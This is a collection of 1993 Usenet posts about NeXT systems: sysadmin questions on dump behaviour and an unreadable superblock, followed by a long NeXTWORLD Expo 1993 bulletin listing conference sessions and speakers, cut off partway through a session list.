Eric
--> eric@whyanext.com
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Eric Schwartz
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From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions
Subject: dump - what gets dumped
Date: 4 May 1993 11:47:47 GMT
Organization: Department of Mathematics, The Ohio State University
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Originator: nevai@ops.mps.ohio-state.edu
According to the dump man pages dumping is done by modification times (after
consulting /etc/dumpdates) but I have a feeling that on NeXT 3.0 dump goes by
access times! Is that true?
BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got
dumped at the 9 level again. Between yesterday and today all my files were
accessed but only a few changed. Any suggestions?
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
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From: hlam@bnr.ca (Hayward Lam)
Subject: Problem:a superblock is unreadable
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Date: Tue, 4 May 1993 13:24:36 GMT
My boot disk has a superblock which became unreadable. It
gives this message look like this:
TARGET 1: SUPERBLOCK C0H4456 is unreadble: MEDIA ERROR: RETRY 1
....
....
Any comment to help correct this problem is appreciated.
Thanks.
Hayward
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People have a way of becoming what you encourage them to be,
not what you nag them to be.
by Scudder Parker
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From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software
Subject: May Update: NeXTWORLD Expo Info Bulletin (Special Offers and Full Agenda)
Date: 4 May 1993 00:06:57 GMT
Organization: NeXT, Inc.
Distribution: world
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1993 NeXTWORLD EXPO INFORMATION BULLETIN
(May Update: including special offers and full agenda)
You are invited to ...
What: NeXTWORLD Expo
When: May 25 - 27, 1993
Where: Moscone Convention Center, 747 Howard Street
San Francisco, California
Events: Developer and User Conference and User Group Program
Keynotes:
by Steve Jobs, NeXT &
Andrew Grove, Intel
...From Black Computers to White - NEXTSTEP for Intel Processors
...Completed and Unveiled
Over 100 NEXTSTEP technology exhibitors will be present on the
Exhibit floor. (See the list of exhibitors at the end of this
message.)
Phone 1-800-767-2336 or 508-470-3880 to register or FAX the
registration form at the end of this message.
******** ********* ******** *******
SPECIAL OFFER
As a special offer, all registered NeXTWORLD Expo attendees will
receive a 50% discount on all of NeXT Computer's system software
products available at the Expo.
******** ********* ******** *******
SPECIAL OFFER
For $995, receive admission to all Developer and User Conference
sessions PLUS a copy of NEXTSTEP for Intel processors User
Environment and Development Tools (a savings of over 85% for
NEXTSTEP!)
******** ********* ******** *******
During the 3 day conference, there will be speakers represented
from the following 80 organizations, including NeXT:
Pencom, McCaw Cellular, Intel, Adamation, WordPerfect, Swiss Bank,
Pages, Millennium, MIT, Athena Design, Lighthouse Design, Goldleaf,
HSD, RDR, Texas A&M, Integrity Solutions, Data General, Wiltel, Stone
Design, VNP, Objective Partners, Objective Technologies, RightBrain,
NeXT, Systemhouse, Omni Group, Cal State - Long Beach, University of
Houston, Logicon Ultrasystems, Pan Canadian Petroleum Limited, Marble
Associates, Chrysler Financial, Servare Business Systems, Trident
Data Sys., Booz Allen & Hamilton, Mt Clemens Hospital, Linotype-Hell
William Morris Agency, Black Market Technologies, Insight Software,
Inherent Software, NeXTWORLD, Data Place Computer, Publish Magazine,
IP Design, RadioMail, Bell Atlantic, Pangea, University of Texas,
Corporation, Brigham and Womens Hospital, Alain Pinel,
Information Delivery Ltd, TRW, USC - ISI, NeuroDimension Inc.,
LOR/Geske Bock Associates Inc., Panon Telexpertise Inc., TASC,
Fidelity Investments, Software Services & Solutions, Inc., MailCom,
Just Proportion Ltd., Sarrus, Imagine, Insignia, Abacus, IPT,
Conextions, BlackSmith, Xanthus, Thoughtul Software, Boss Logic,
Visus, Axsys, WhiteLight, Altsys, Appsoft, Preferred Health Care,
Ensuing Technologies, and Proponent.
Over 100 NeXT User groups will be represented from the United States,
Mexico, Canada, the United Kingdom, Ireland, Germany, France,
Singapore, Japan, Australia, Netherlands, and Hong Kong.
_____________________________________________________________________
TABLE OF CONTENTS
=> NeXTWORLD EXPO INTRODUCTION
=> ALL NeXTWORLD EXPO EVENT DESCRIPTIONS
=> NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS
=> NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS
=> NEXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES
=> NeXT USER GROUP PROGRAM AGENDA
=> TUTORIALS AND BOF MEETINGS
=> REGISTRATION, HOTEL AND TRAVEL INFORMATION
_____________________________________________________________________
=> NeXTWORLD EXPO INTRODUCTION
The second annual NeXTWORLD EXPO combines a worldwide Developer
Conference, User Conference, User Group Program and Product
Exposition spanning three days. This year's NeXTWORLD Expo marks the
culmination of the most significant event in NeXT's history. At the
Expo, NeXT will deliver the completed, shrinkwrapped release of
NEXTSTEP for Intel processors. The product that Byte magazine has
called, "...the most respected piece of software on the planet..."
-- now available on industry-standard computers. When you see
NEXTSTEP, we think you'll agree. NeXT's decision to concentrate on
object-oriented software, move away from signature black hardware,
and devote all company resources to running NEXTSTEP on white
hardware--is more than the transformation of a company. It is, in
all likelihood, the transformation of an entire industry. We look
forward to seeing you at the Expo.
As a special offer, all registered NeXTWORLD EXPO attendees will
receive a 50% discount on NeXT's software products available
at the Expo.
For $695: receive admission to all Developer Conference and User
Conference Sessions, attendance to the User Group Program, and
admission to the Product Showcase. SPECIAL BONUS...For $995, receive
admission to all of the above PLUS a copy of NEXTSTEP for Intel
processors User Environment and Development Tools!
(See registration form below).
_____________________________________________________________________
=> ALL NeXTWORLD EXPO EVENT DESCRIPTIONS
NeXTWORLD EXPO DEVELOPER CONFERENCE
The NeXTWORLD EXPO '93 Developer Conference offers a broad curriculum
to the developer community, focusing on creating both shrinkwrapped
applications and client/server custom applications. Because the
ability to run NEXTSTEP applications on Intel-based computers is now
a reality, both the general session and the conference tracks provide
valuable information about porting and distribution.
Four separate Conference Tracks focus on the business and technical
aspects of NEXTSTEP application development. Each track provides a
different perspective on understanding and working with NEXTSTEP. To
benefit most from the breadth of topics offered at the conference, we
encourage you to review and attend sessions from several tracks. A
specially priced developer bundle is available which includes
registration and a copy of NEXTSTEP for Intel Processors (see
registration form below for details).
NeXTWORLD EXPO USER CONFERENCE
The NeXTWORLD EXPO '93 User Conference offers in-depth information
about the use of NEXTSTEP in corporate information systems and on
individual desktops. Designed for experienced NEXTSTEP end users,
system managers, and IS strategists, the four-track program focuses
on the issues of deploying NEXTSTEP in enterprise-wide systems, using
NEXTSTEP for maximum benefits, case studies of NEXTSTEP usage in the
real world, and comparative looks at the most innovative third-party
products in the NeXT market. One session is dedicated to providing a
quick start for users who are new to NEXTSTEP, so that they can
participate fully in the remainder of the program. Key sessions in
each track are repeated so that attendees can participate in as many
different sessions as possible.
NeXT USER GROUP PROGRAM
NoIR (NeXT Organizations InteRnational) is sponsoring a worldwide
User Group Program. This year's program theme is "486--An Explosion
of New Users Under NeXT's Big Tent." Sessions focus on two tracks:
user group leadership and member services. If you want ideas to take
back to your group, this program is for you. Last year over 100
groups from around the world were represented and this year we expect
many more. With the explosion of new NEXTSTEP users coming this year
and next, this program helps you prepare your NeXT User Group for
growth and success in 1993 and 1994.
In addition to the formal events listed here, several special social
events will be held. All user group members attending either the
exposition or the conferences are invited to register for the user
group program free of charge.
KEYNOTE SPEAKERS
Tuesday, May 25
9:00 AM - 11:00 AM, Hall E
Steve Jobs - Chairman and CEO of NeXT, Inc.
Steve Jobs discusses the future of object-oriented,
client/server computing.
Wednesday, May 26
9:00 AM - 10:30 AM, Hall E
Andrew Grove - Chairman and CEO of Intel Corporation
Andrew Grove discusses Intel's 486 and Pentium processors,
and NEXTSTEP's place in their future.
DEVELOPER CONFERENCE GENERAL SESSION
Tuesday, May 25
4:30 PM - 5:30 PM, Hall E
Your NEXTSTEP Application and their Hardware
Paul Hegarty, NeXT's Director of NEXTSTEP for Intel processors
software, explains how to port your application to the Intel platform
and leaves ample time to answer your porting questions.
USER CONFERENCE GENERAL SESSION
10 MOST WANTED
Wednesday, May 26
5:00 PM - 6:00 PM, Hall E
NeXTWORLD Editor-in-Chief Dan Ruby leads a panel of NEXTSTEP
customers, developers, and user group leaders in reviewing NeXT's
accomplishments during the last year and setting the agenda for the
year ahead.
GENERAL SESSIONS OPEN TO ALL ATTENDEES
Thursday, May 27
9:00 AM - 10:00 AM, Hall E
NEXTSTEP AND THE OS WARS
Bob Metcalfe, Publisher and CEO of InfoWorld Publishing Co., hosts a
panel of industry pundits and NeXT customers as they discuss the
alternatives among advanced operating systems in the coming battle
for the corporate desktop.
USER GROUP AUCTION
Wednesday, May 26
6:00 PM - 7:30 PM, Hall D
Attend this fun event. A range of products and services from the NeXT
community will go to the highest bidder. Proceeds go toward the User
Group Program at the Expo.
NeXTWORLD MAGAZINE AWARDS
Tuesday, May 25
6:00 PM - 7:00 PM, Hall E
NeXTWORLD honors the best and most innovative products in the NeXT
market in its first annual award ceremony. Cheer on your favorites as
a lineup of NeXT community luminaries announce the winners in each
product category.
NEXTSTEP PRODUCT EXHIBITION
Tuesday, May 25, 11:00 a.m. - 6:00 p.m.
Wednesday, May 26, 9:00 a.m. - 6:00 p.m.
Thursday, May 27, 9:00 a.m. - 12:00 p.m.
Be sure to see over 100 product exhibits and find out why so many
companies have embraced NEXTSTEP technology. See the latest in
NEXTSTEP hardware and software, and meet with users, resellers, and
partners. The Expo also features an ObjectWare Pavillion dedicated
to the growing number of NEXTSTEP ObjectWare vendors.
_____________________________________________________________________
=> NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS
MAY 25-27, 1993
Tuesday, May 25 -> 11:30 AM - 4:15 PM
Wednesday, May 26 -> 11:45 AM - 4:45 PM
Thursday, May 27 -> 10:15 AM - 3:00 PM
** TRACK ONE **
THEME: NEXTSTEP MEANS BUSINESS
This track addresses topics of broad, general interest to the
third-party and corporate developer community, including how to
evaluate development environments, profiles of NEXTSTEP's markets and
customers, how to protect your intellectual property, and 486
distribution issues. A variety of experts discuss issues geared to
business professionals.
Technical professionals will benefit from opportunities to hear
engineers explain how to succeed in object-oriented development, and
to meet key NeXT engineers for a lively Q&A session.
No direct NEXTSTEP experience is required for the sessions in this
track, but a technical background is sometimes useful.
TRACK ONE SESSIONS:
** DISTRIBUTED NEXTSTEP APPLICATIONS **
Erna Arnesen, Director of Channel Sales, NeXT
11:30am - 12:30pm, Tuesday, May 25
Developer Conference Room 130
This comprehensive discussion answers question about NeXT's software
distribution channels. Distribution partners are identified and ways
to ensure successful interaction with developers are explained. Plans
for distribution of NEXTSTEP for Intel processors are also presented.
** A DEVELOPER'S GUIDE TO ENTERPRISE-WIDE DEPLOYMENT **
Anita Sansguiri, Project Manager, ADAMATION
2:00pm - 3:00pm, Tuesday, May 25
Developer Conference Room 130
ADAMATION's project manager describes how they successfully deployed
their application at multiple offices of a real estate company.
Deployment issues ranging from application development, networking,
and database management, to augmenting NEXTSTEP tools are described.
** NeXT's MARKETS AND THEIR DEVELOPMENT OPPORTUNITIES **
Ron Weissman, Director, Strategic Marketing, NeXT
David Grady, Developer Advocates, NeXT
3:15pm - 4:15pm, Tuesday, May 25
Developer Conference Room 130
This is a chance to hear from NeXT about targeted markets, the
specific products that customers are requesting, and solutions that
would match market requirements. Opportunities for developers and
consultants are discussed.
** NEXTSTEP MEANS BUSINESS **
Warren Weiss, Vice President, Sales and Marketing, NeXT
10:45am - 11:45am, Wednesday, May 26
Developer Conference Room 130
Hear NeXT' new VP of sales and marketing make the compelling business
case for choosing NEXTSTEP. Joining Weiss will be key decision
makers from some of NeXT's largest customers. This session outlines
where we are headed and how developers can align with NeXT for
success.
** PROTECTING YOUR TECHNOLOGY **
Christopher Seline, Esq., Formosa Transnational Attorneys-at-Law
1:15pm - 2:15pm, Wednesday, May 26
Developer Conference Room 130
Maximizing profit and protecting intellectual property are vital
concerns for every developer. This session introduces fundamental
legal issues such as copyright, patent, trademark, and trade secret
laws and how they relate to computer software. Our speaker has
considerable NEXTSTEP and UNIX experience.
** NOTHING's EASIER THAN NEXTSTEP DEVELOPMENT **
Mike Colyer, Lead Developer, WordPerfect Corporation
2:30pm - 3:30pm, Wednesday, May 26
Developer Conference Room 130
A developer of large commercial applications in both Windows and
NEXTSTEP discusses his experiences in cross-platform development. Our
speaker ported WordPerfect to NEXTSTEP for Intel processors in a
matter of hours and this session describes his experiences. Helpful
hints and productivity techniques will be presented.
** SUCCEEDING WITH OBJECT-ORIENTED DEVELOPMENT **
Bruce Webster, Chief Technical Officer, Pages Software
Jayson Adams, CEO and Chief Scientist, Millennium Software Labs
3:45pm - 4:45pm, Wednesday, May 26
Developer Conference Room 130
Accompanying the power that object-oriented technology (OOT) brings
to application development are some specific challenges and
requirements. In this session, two NEXTSTEP developers describe the
insights they gained and the lessons they learned while producing
major commercial productivity applications.
* "DR. STRANGEAPP, OR HOW I LEARNED TO STOP WORRYING & LOVE ISV'S" *
Jeff Kvam, Swiss Bank Corporation
10:15am - 11:15am, Thursday, May 27
Developer Conference Room 130
One of NeXT's largest commercial customers explains the techniques
and business practices of establishing a productive working
relationship with large corporations.
** STRATEGIES FOR DYNAMIC PERSONALIZED SYSTEMS **
Pascal Chesnais, Research Specialist, Massachusetts Institute
of Technology, Media Laboratory
Douglas Koen, Undergraduate Researcher, MIT, Media Laboratory
11:30am - 12:30pm, Thursday, May 27
Developer Conference Room 133
Successful personalization of applications will require an
understanding of a users' dynamic needs. The MIT Media
Laboratory has been exploring these issuesPusing new tools
such as user modeling, knowledge representation and distributed
servers with the future of news in mind. A system called Glue
is described that connects these various components into an
extensible personalized news system.
** CREATING SUCCESS WITH NEXTSTEP **
Panel:
Moderator: Julie Saffren, Manager, Developer Relations, NeXT
David Pollak, Athena Design
Scott Love, Millennium Software Labs, Inc.
Jonathan Schwartz, Lighthouse Design
Lauren Flanegan-Sellers, Goldleaf Publishing
12:45pm - 1:45pm, Thursday, May 27
Developer Conference Room 130
Based on their real-world experiences, a panel of NEXTSTEP developers
describe their paths to success in the NEXTSTEP marketplace. Creative
marketing techniques, how to leverage the sales force, and product
focus are debated and discussed.
** MEET THE SOFTWARE ENGINEERS **
Panel: NeXT Software Engineers
Moderator: Jean-Marie Hullot
2:00pm - 3:00pm, Thursday, May 27
Developer Conference Room 130
Several software engineers who were integral in creating NEXTSTEP
Release 3 join together in this forum to answer your questions. This
was a popular session last year, so come early if you want a seat!
** TRACK TWO **
THEME: NEXTSTEP AND THE ENTERPRISE
NEXTSTEP and the Enterprise presents issues specific to using
NEXTSTEP in large organizations, such as working with large and mixed
networks, portability, interoperability, connectivity, distributed
computing, and integration of shrinkwrapped applications into custom
solutions. Most sessions in this track require a technical background
but assume that attendees have no experience working with NEXTSTEP.
TRACK TWO SESSIONS:
** INTEGRATING SHRINKWRAPPED APPLICATIONS IN A CUSTOM SOLUTION **
Panel:
Moderator: David Lavallee, Software Engineer, NeXT
Dave Peter, HSD
Paul Murphy, Independent Consultant
Chris Walters, Technical Staff, RDR, Inc.
11:30am - 12:30pm, Tuesday, May 25
Developer Conference Room 131
It's not always possible to find a shrinkwrapped or custom solution
that solves a given problem completely. But applications can be
easily integrated. Customers and third-party developers discuss why
they would integrate shrinkwrapped software into client/server custom
solutions, and the value that results from this merger.
** DEVELOPING OBJ-C APPLICATIONS FOR NEXTSTEP & MICROSOFT WINDOWS **
Christopher Lozinski, Berkeley Productivity Group
Walter C. Daugherity, Texas A&M University
2:00pm - 3:00pm, Tuesday, May 25
Developer Conference Room 132
NEXTSTEP developers have traditionally been faced with a dilemma:
Should they develop in Objective-C on NEXTSTEP, or C++ for Microsoft
Windows. Now it's possible to develop for both platforms in
Objective-C and C++. Developers can use Objective-C with the Borland
compiler on the PC, and the GNU compiler on NEXTSTEP. The discussion
reports that develop applications for both platforms, describes this
experience, and the techniques that work. There will also be a
discussion of Smalltalk for NEXTSTEP.
** WORKFLOW TOOLS IN CUSTOM APPLICATION **
Randy Marchessault, Software Engineer, Integrity Solutions
2:30pm - 3:30pm, Wednesday, May 26
Developer Conference Room 131
Workflow, a popular, but commonly misunderstood buzzword is examined
through applying concepts and objects to real-world problems.
Discussion centers on representing tasks and task dependencies,
implementing group scheduling, resource management, document and
information routing, user notification, and recursive schedule
divisibility.
** OBJECT-ORIENTED CLIENT/SERVER APPLICATION DESIGN **
Patricia Monk, Director-NeXT Business Unit, Data General Corporation
3:45pm - 4:45pm, Wednesday, May 26
Developer Conference Room 131
This session explains the key issues of object-oriented client/server
application design and layout, including programming tools and
techniques to assist in this type of application development. It also
discusses how the UI (or lack of it) for server requester objects and
server provider objects affects the efficiency of an application.
** ADVANTAGES INHERENT IN ELECTRONIC DOCUMENTATION **
Carla Kay Barlow, Product Documentation, Stone Design
Jim Clark, Advanced Technology Group, WilTel
11:30am - 12:30pm, Thursday, May 27
Developer Conference Room 131
A persuasive argument in favor of all-electronic software
documentation, this session spans the interests of users and
developers from the viewpoint of third party and corporate
development efforts. Topics range from the use of NEXTSTEP's on-line
help standard to how to develop class specification documentation
that facilitates consistent coding style, code reuse and rapid
prototyping.
** A NEXTSTEP SHARED DEVELOPMENT ENVIRONMENT **
Panel:
Moderator: Rick Jackson, Software Product Marketing, NeXT
Luke Blanshard, Software Architect, VNP Software, Inc.
Steve Naroff, Manager, Development Environment, NeXT
Pete Clark, Software Engineer, Integrity Solutions, Inc.
12:45pm - 1:45pm, Thursday, May 27
Developer Conference Room 131
Development teams of more than a few people have special
synchronization and code management problems that can delay or
prevent release of a large working system. NEXTSTEP developers
discuss current and future solutions for group development. Corporate
and third party developers discuss tools they built to solve today.
** SKETCHING OUT A BETTER USER INTERFACE **
Ray Ryan, User Interface Designer, Lighthouse Design
2:00 - 3:00pm, Thursday, May 27
Developer Conference Room 131
Creating excellent user interfaces is frequently more the result of
art than science. This session provides some insight into the
aesthetics of UI design. The user interface designer of Diagram! 2
discusses techniques for building good user interfaces starting at
day one. He will include before and after examples from Diagram! and
Diagram! 2 to emphasize how sound UI design techniques help create
more usable interfaces.
** TRACK THREE **
THEME: DEVELOPING NEXTSTEP APPLICATIONS
This track examines the tools and techniques central to developing
your NEXTSTEP applications, such as debugging, Interface Builder,
performance tuning, user interface issues, localization, and
application validation. Speakers include both third-party and
corporate developers who share their knowledge gained "in the
trenches", developing popular and productive applications. These
sessions are targeted for attendees who have intermediate or advanced
NEXTSTEP programming proficiency.
TRACK THREE SESSIONS:
** THE ZEN OF DEBUGGING **
Julie Zelenski, Lecturer, Stanford Univ. and Support Engineer, NeXT
11:30am - 12:30pm, Tuesday, May 25
3:15pm - 4:15pm, Tuesday, May 25 (Repeated session)
Developer Conference Room 132
Need a new bag of tricks for debugging in the NEXTSTEP development
environment? Or maybe you're just looking to fill out your current
repertoire? In either case, you can learn something new in this
challenging and informative session.
** VALIDATING NEXTSTEP APPLICATIONS AND OBJECTS **
Jim Walsh, Software Quality Manager, NeXT
Kris Oosting, Manager, Objective Partners
2:00pm - 3:00pm, Tuesday, May 25
Developer Conference Room 131
It's been said "you can't control what you can't measure", and this
holds true for object-oriented development. This session explores the
theories of testing your NEXTSTEP applications and objects.
** GETTING MORE SPEED OUT OF YOUR APPLICATION **
Brian Pinkerton, Software Engineer, NeXT
Trey Matteson, Manager, Application Kit Group, NeXT
10:45am - 11:45am, Wednesday, May 26
Developer Conference Room 132
Reprising one of last year's most popular sessions, NeXT's engineers
take a reasonably slow application and make it faster, before your
very eyes. You'll see the steps you need to take to speed your
applications' performance.
** INTRODUCTION TO NEXTSTEP PROGRAMMING **
Randy Nelson, Lead Developer Trainer, NeXT
10:45am - 11:45am, Wednesday, May 26
Developer Conference Room 131
If you're just encountering the world of object-oriented programming,
this overview of NEXTSTEP features and object technology is extremely
useful for understanding context and vocabulary. This session is a
must for technical evaluators of the platform.
** UI PERFORMANCE **
Bill Bumgarner, Software Artist, Stone Design
Glenn Reid, President, RightBrain Software
1:15pm - 2:15pm, Wednesday, May 26
Developer Conference Room 133
2:00pm - 3:00pm, Thursday, May 27 (repeated session)
Developer Conference Room 133
Enhancing the performance of your application's UI can be crucial to
users' success with the application. NEXTSTEP developers describe
methods for increasing perceived performance and methods for
decreasing actual drawing time.
** BUILDING BETTER NEXTSTEP APPLICATIONS **
Randy Nelson, Lead Developer Trainer, NeXT
1:15pm - 2:15pm, Wednesday, May 26
Developer Conference Room 131
Proper use of NEXTSTEP significantly increases the power of your
application; correspondingly, improper or partial use of NEXTSTEP can
decrease your application's usability. An overview of specific
topics--user interface, portability, localization, and important kit
features--shows you how to build flexibility into your application.
References to documentation and other resources are included.
** WRITING EXTENSIBLE APPLICATIONS **
Jeff Martin, Developer Support Engineer, NeXT
2:30pm - 3:30pm, Wednesday, May 26
10:15am - 11:15am, Thursday, May 27 (Repeated session)
Developer Conference Room 132
This lecture explores techniques that add run-time flexibility to an
application. Dynamic loading of objects adds much to the power of
InterfaceBuilder as a development tool and is mainly responsible
for the runaway success of BackSpace. Find out how to add dynamic
loading to your application while increasing its efficiency and
maintainability.
** CREATING INTERFACE BUILDER PALETTES **
Scott Ritchie, Developer Trainer, NeXT
3:45pm - 4:45pm, Wednesday, May 26
11:30am - 12:30pm, Thursday, May 27 (repeated session)
Developer Conference Room 132
Using Interface Builder Palettes can add custom functionality to your
interfaces, save development time, and generate valuable re-useable
tools. One of NeXT's trainers explains how to build palettes that
provide advanced functionality for many different sorts of objects.
** BUILDING REUSABLE OBJECTS **
Andrew Athan, Objective Technologies
10:15am - 11:15am, Thursday, May 27
Developer Conference Room 133
Well-rounded classes don't just happen: they require careful planning
and design to become flexible and robust. This session reviews some
of the issues that you should consider before writing your first line
of code. The discussion includes licensing issues for objects.
** TRACK FOUR **
THEME: UNDER THE HOOD - OBJECTS AND NEXTSTEP FEATURES
This track explores the detail level of object technology and
specific NEXTSTEP features and kits. Topics include DataBase Kit,
Indexing Kit, Driver Kit, Object Links, Help, and filter services.
Familiarity with NEXTSTEP programming is recommended for attendees of
the sessions.
TRACK FOUR SESSIONS:
** GETTING STARTED WITH DATABASE KIT **
Scott Weiner, Developer Trainer, NeXT
11:30am - 12:30pm, Tuesday, May 25
3:15pm - 4:15pm, Tuesday, May 25 (Repeated session)
Developer Conference Room 133
Learn the basics of NEXTSTEP's newest kit with one of NeXT's
trainers. Step through the decisions involved with building a simple
DataBase Kit application and see how DataBase Kit can help reduce
time and effort in developing a client/server custom application.
Time is provided for Q&A at the end of this session.
** REAL-WORLD DATABASE KIT APPLICATIONS **
Panel:
Moderator: Jerry Goode, Systems Engineer, NeXT
Bill Dudney, Pencom
Jim Million, Systemhouse
Ken Case, Omni Group
2:00pm - 3:00pm, Tuesday, May 25
Developer Conference Room 133
A panel of corporate developers and system integrators explain and
discuss their real-world development experiences and describe how the
DataBase Kit helped them resolve client/server computing issues.
** ADVANCED DATABASE KIT ISSUES **
Panel:
Moderator: Leo Hourvitz, NeXT
Van Simmons, VNP Software
Mike Sanford, Pencom
Alex Cone, Objective Technologies
Jerry Goode, NeXT
Mike Riggs, NeXT
Tom Winans, Systemhouse
3:15pm - 4:15pm, Tuesday, May 25
Developer Conference Room 131
Aimed at engineers who have done some heavy duty programming
with DataBase Kit. This session will be a Q&A formatPthis is
the panel to which you should bring your tough DBKit questions!
The panelists all have tips and tricks for getting the real work
done.
** USING NEXTSTEP RELEASE 3 APPLICATION KIT FEATURES **
Ali Ozer, Software Engineer, NeXT
10:45am - 11:45am, Wednesday, May 26
12:45pm - 1:45pm, Thursday, May 27 (Repeated session)
Developer Conference Room 133
This session reviews several NEXTSTEP Release 3 features, including
dragging, Help, filter services, and using color. Use of these
features is uncomplicated and can add considerably to the power
and flexibility of your application (and the popularity with your
users.)
** OBJECT LINKS IN DETAIL **
Trey Matteson, Manager, Application Kit Group, NeXT
1:15pm - 2:15pm, Wednesday, May 26
Developer Conference Room 132
and
2:00pm - 3:00pm, Thursday, May 27 (Repeated session)
Developer Conference Room 132
Take advantage of the power of object linking...the powerful
mechanism that enables documents to share data dynamically. This
session explains why and how you should incorporate Object Links into
your application.
** PROGRAMMING WITH DISTRIBUTED OBJECTS **
Stephen Asbury, Developer Trainer, NeXT
2:30pm - 3:30pm, Wednesday, May 26
Developer Conference Room 133
This presentation details the steps you need to take to build a
client/server application using distributed objects, one of
NEXTSTEP's most powerful tools. Discussion includes invalidation
notification, threaded servers, and peer-to-peer architectures.
** WORKING WITH THE INDEXING KIT **
Kris Younger, System Engineer, NeXT
3:45pm - 4:45pm, Wednesday, May 26
Developer Conference Room 133
The Indexing Kit is a major feature of NEXTSTEP Release 3. The kit
provides a framework for storing and managing data, analogous to the
framework for user interaction provided by the Application Kit. This
session describes the salient features of the Indexing Kit, including
transaction-protected storage, building dictionaries and indexes with
BTrees, and building flat-file databases that store Objective-C
objects.
** DRIVERKIT FOR NEXTSTEP FOR INTEL PROCESSORS **
Flip Dibner, Developer Support Engineer, NeXT
11:30am - 12:30pm, Thursday, May 27
Developer Conference Room 130
A detailed presentation of device driver architecture under
NEXTSTEP for Intel Processors. The session includes review of
several DriverKit classes, design considerations, comparison
with traditional Unix (tm) drivers, and Q & A. Previous
knowledge of NEXTSTEP and Unix drivers will be valuable.
_____________________________________________________________________
=> NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS
May 25 - 27, 1993
** TRACK ONE **
THEME: ENTERPRISE COMPUTING
The first stage of desktop computing in corporations was all about
enhancing individual and departmental productivity. NEXTSTEP takes
corporations to the second stage by advancing the mission of the
enterprise. This conference track explores the issues in enterprise
computing such as client/server architecture, rightsizing,
operational productivity, custom application development, and
heterogeneous networking. In every area, NEXTSTEP offers great
opportunity for the next stage of corporate computing.
TRACK ONE SESSIONS:
** WHY OBJECT-ORIENTED PROGRAMMING and NEXTSTEP **
Panel:
Ted Shelton, IT Solutions
Paul Murphy
Mike Mahoney, CS Dept. Chair, Cal State University, Long Beach
2:00PM - 3:00PM, Tuesday, May 25
User Conference Room 120 & 121
NEXTSTEP achieves its full power when applied in enterprise-wide
systems for client/server functions. Discover how object-oriented
programming techniques and client/server computing can bring
immediate tangible benefits to organizations.
** RIGHTSIZING WITH NEXTSTEP **
Panel:
Vidas Neverauskas, NeXT Computer
Tom McLellan, Pencom Software
Pete Farkas, Logicon Ultrasystems
Roger Coates, Pan Canadian Petroleum Limited
12:45PM - 1:45PM, Tuesday, May 25
User Conference Room 120 & 121
and (repeat)
Vidas Neverauskas, NeXT Computer
Marc Elvy, Marble Associates, Inc.
Pete Farkas, Logicon Ultrasystems
Roger Coates, Pan Canadian Petroleum Limited
12:00PM - 1:00PM, Wednesday, May 26
User Conference Room 120 & 121
As businesses downsize monolithic mainframe applications to
distributed client/server systems, they need object-oriented
development tools that play in a standard networking environment.
NEXTSTEP is an important piece of the rightsizing puzzle for
corporate re-engineers.
** ENGINEERING CLIENT/SERVER SYSTEMS **
Panel:
Brain Hobbs, Pencom Software
Mike Adelson, Chrysler Financial
Vimal Chowdury, Mt Clemens Hospital
4:30PM - 5:30PM, Tuesday, May 25
User Conference Room 120 & 121
Talk of rightsizing is cheap. NEXTSTEP gets you started today. This
panel of customers, integrators, and system engineers explores the
nitty-gritty technical issues of using NEXTSTEP in a client/server
architecture.
** DEVELOPING AND DEPLOYING CLIENT/SERVER CUSTOM APPLICATIONS **
Panel:
Tim Griswold, Servare Business Systems
Grant Hayashi, Trident Data Systems
David Holtzman, Booz Allen & Hamilton
11:30AM - 12:30PM, Tuesday, May 25
User Conference Room 120 & 121
and (repeat)
Tim Griswold, Servare Business Systems
Grant Hayashi, Trident Data Systems
David Holtzman, Booz Allen & Hamilton
10:15AM - 11:15AM, Thursday, May 27
User Conference Room 120 & 121
NEXTSTEP's object-oriented development environment lets you bring new
systems on-line in a fraction of the time needed with competitive
products. That calls for a new approach to planning and implementing
client/server custom applications.
** HOW NEXTSTEP FITS INTO YOUR HETEROGENEOUS CORPORATE NETWORK **
Panel:
Katherine Jones, Data General Corp.
Bill Young, Trident Data Systems
Ray Bloom, Marble Associates, Inc.
John Devitofaranceschi, Swiss Bank Corp.
1:15PM - 2:15PM, Wednesday, May 26
User Conference Room 120 & 121
Virtually every enterprise today maintains a mixed environment of
computer platforms and networks. NEXTSTEP's support of multiple
networking standards allows users to easily mix and match computers
with their existing information systems.
** CONNECTING THE ENTERPRISE: WANs, LANs. and ISDN **
Panel:
Frank Ricotta, moderator
Pierre Durand , NeXT Computer, Inc.
Steve Benton, Trident Data Systems
Bill Young, Trident Data Systems
Mark Dadgar, William Morris Agency
2:30PM - 3:30PM, Wednesday, May 26
User Conference Room 120 & 121
As business goes global, it isn't enough to interoperate in local
networks at individual user sites. Here's how NEXTSTEP systems
communicate with other computers in a world-wide distributed
computing environment.
** MANAGING APPLICATION DEVELOPMENT PROJECTS **
Panel:
Charles Oei, NeXT - moderator
Kris Oosting, Objective Partners
Scott Abel, Pencom Software
Nicholas Christopher, Systemhouse
3:45PM - 4:45PM, Wednesday, May 26
User Conference Room 120 & 121
As NEXTSTEP speeds up the application development cycle, managers
face new challenges in strategic and tactical planning. Here's what
to expect in budgeting, staffing, managing, and phasing in your
custom application projects.
** ISSUES IN SYSTEM ADMINISTRATION **
Panel:
Simson Garfinkel, NeXTWORLD
Timothy Reed, Black Market Technologies
Anil Prasad, Wiltel Advanced Technology Group
Alan Marcum, NeXT
11:30AM - 12:30PM, Thursday, May 27
User Conference Room 120 & 121
As NEXTSTEP proliferates in enterprise-wide information systems, the
issues of network management and security become increasingly
critical. System administrators explore the tools and techniques
available for maintaining and securing corporate networks.
** TRACK TWO **
THEME: USING NEXTSTEP
NEXTSTEP provides a user environment unlike any other operating
system. To get maximum benefit from their systems, users need to know
